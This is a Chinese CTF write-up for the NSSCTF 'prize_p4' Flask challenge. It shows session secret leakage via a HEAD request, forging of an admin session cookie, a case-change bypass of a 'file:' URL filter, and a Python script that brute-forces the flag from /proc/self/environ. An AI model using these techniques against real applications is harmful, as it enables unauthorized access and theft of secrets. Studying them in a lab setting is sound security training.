当前位置: 首页 > news >正文

字符串盲注-NSSCTF-prize_p4

1、打开环境,一个登陆框,随便输入数据,提示U R not admin,并给出一个getkey的链接。

2、随后给出一段代码,意思就是不能用GET方法。

@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY

3、BP修改为HEAD方法,得到SECRET_KEY

4、进行请求伪造,将session中的admin改为True。

5、用这个新的session访问/home,得到源码

6、格式化一下

# -*- coding: utf-8 -*- from flask import Flask, request, session, render_template, url_for, redirect, render_template_string import base64 import urllib.request import uuid import flag SECRET_KEY = str(uuid.uuid4()) app = Flask(__name__) app.config.update( dict( SECRET_KEY=SECRET_KEY, ) ) # src in /app @app.route('/') @app.route('/index', methods=['GET']) def index(): return render_template("index.html") @app.route('/get_data', methods=["GET", 'POST']) def get_data(): data = request.form.get('data', '123') if type(data) is str: data = data.encode('utf8') url = request.form.get('url', 'http://127.0.0.1:8888/') if data and url: session['data'] = data session['url'] = url session["admin"] = False return redirect(url_for('home')) return redirect(url_for('/')) @app.route('/home', methods=["GET"]) def home(): if session.get("admin", False): return render_template_string(open(__file__).read()) else: return render_template("home.html", data=session.get('data', 'Not find data...')) @app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"] = SECRET_KEY return render_template_string('''@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY''') @app.route('/get_hindd_result', methods=["GET"]) def get_hindd_result(): if session['data'] and session['url']: if 'file:' in session['url']: return "no no no" data = (session['data']).decode('utf8') url_text = urllib.request.urlopen(session['url']).read().decode('utf8') if url_text in data or data in url_text: return "you get it" return "what ???" @app.route('/getflag', methods=["GET"]) def get_flag(): res = flag.waf(request) return res if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=8888)

出现几个路由:

/或者/index,返还渲染后的index.html。

/get_data,给session中的data和url以及admin赋值。

/home,判断session中的admin是否为false,不是的话返回源码。

/getkey,获得key的途径,我们用过。

/get_hindd_result,先判断session[url]里是否有file(大写即可绕过),有的话直接返还no no no,否则的话就是给data赋值,然后读取session['url'])文件,值赋给url_text,最后判断data和url_text是否相互包含。

访问/getflag,然后是一个waf,返回res

刚开始根据提示和引入的flag,想读取/app/flag.py的内容,但是各种尝试都不行。后来看WP说是flag在/proc/self/environ中。这玩意儿里面包含当前进程的所有环境变量。

思路:控制session,对flag一个字符一个字符爆破,先访问/get_data,然后得到session后继续访问/get_hindd_result,用回显判断传入的部分flag是否正确,正确的话继续下一个字符的爆破直至到}。

# -*- coding: utf-8 -*- import string#引入string,方便写list import requests url1="http://node4.anna.nssctf.cn:22400/get_data" url2="http://node4.anna.nssctf.cn:22400/get_hindd_result" flag="NSSCTF{" while 1: for i in string.printable: tmp_flag=flag+i data={"url":"File:///proc/self/environ","data":tmp_flag} res=requests.session()#获取session的对话 res.get(url1,data=data)#给session的url和data赋值 session_tmp=str(res.cookies.values())[2:-2]#res.cookies.values() 返回的是一个 cookies 值的列表。打印出来的值是有['值'],我们只需要值,要进行切片操作,但是必须转化为字符才能截取字符,不然默认为列表切片 flag_resp=requests.get(url2,cookies={"session":session_tmp})#给cookie赋值,因为读文件是从session取值的 if "you get it" in flag_resp.text: flag+=i print(flag) break

运行得到flag

http://www.cnnetsun.cn/news/576331.html

相关文章:

  • 一张数字“蒙皮”的诞生:三种经典样条曲面详解
  • Gemini 3 Deep Think:自动化开发流程的变革先锋
  • CNN卷积神经网络
  • mysql单表的增删改查
  • MySQL主从复制原理详解
  • 探索企业AI转型路线图,AI应用架构师经验分享
  • 基于Matlab的数字PID控制系统设计(源码+万字报告+讲解)(支持资料、图片参考_相关定制)
  • 微服务分布式SpringBoot+Vue+Springcloud医疗挂号就诊平台
  • 数据结构2.0 线性表
  • ARM架构中APSR状态寄存器里的Q位
  • Linux 系统规范配置:建立标准目录结构、 repo 源获取、修改终端变色
  • AI应用架构师的认知升级:接受AI的“不完美”,拥抱人机协作的灰度
  • 巴菲特的品牌价值理论:无形资产的重要性
  • 2026最新网络安全学习路线(完整版)
  • 学长亲荐!继续教育必备TOP8 AI论文软件深度测评
  • 深度学习毕设项目推荐-基于python-CNN卷积神经网络对猫是否疲劳识别
  • AI大模型时代:提示系统市场表现评估的挑战与应对策略
  • 空洞骑士模组管理器Scarab:让模组管理变得前所未有的简单
  • DeepSeek将推出代码生成王者V4模型,性能碾压GPT/Claude,程序员必学必藏!
  • 番茄小说下载器:简单三步打造离线图书馆的终极方案
  • Zoplicate插件完整指南:彻底告别Zotero重复条目困扰
  • XGBoost终极安装指南:从零开始的机器学习库配置教程
  • 深度学习毕设项目:基于python-CNN卷积神经网络对猫是否疲劳识别
  • 深度学习毕设选题推荐:基于python-CNN卷积神经网络对猫是否疲劳识别
  • 国企“高级”程序员写的那些问题代码
  • 【计算机毕业设计案例】基于python-CNN卷积神经网络对海洋壳类生物识别
  • 计算机深度学习毕设实战-基于python-CNN卷积神经网络对猫是否疲劳识别
  • 深度学习毕设项目推荐-基于python-CNN深度学习对宠物体型识别
  • 吐血推荐!自考必用9款AI论文平台深度测评
  • 【小程序】订单数据缓存 以及针对海量库存数据的 懒加载+数据分片 的具体实现方式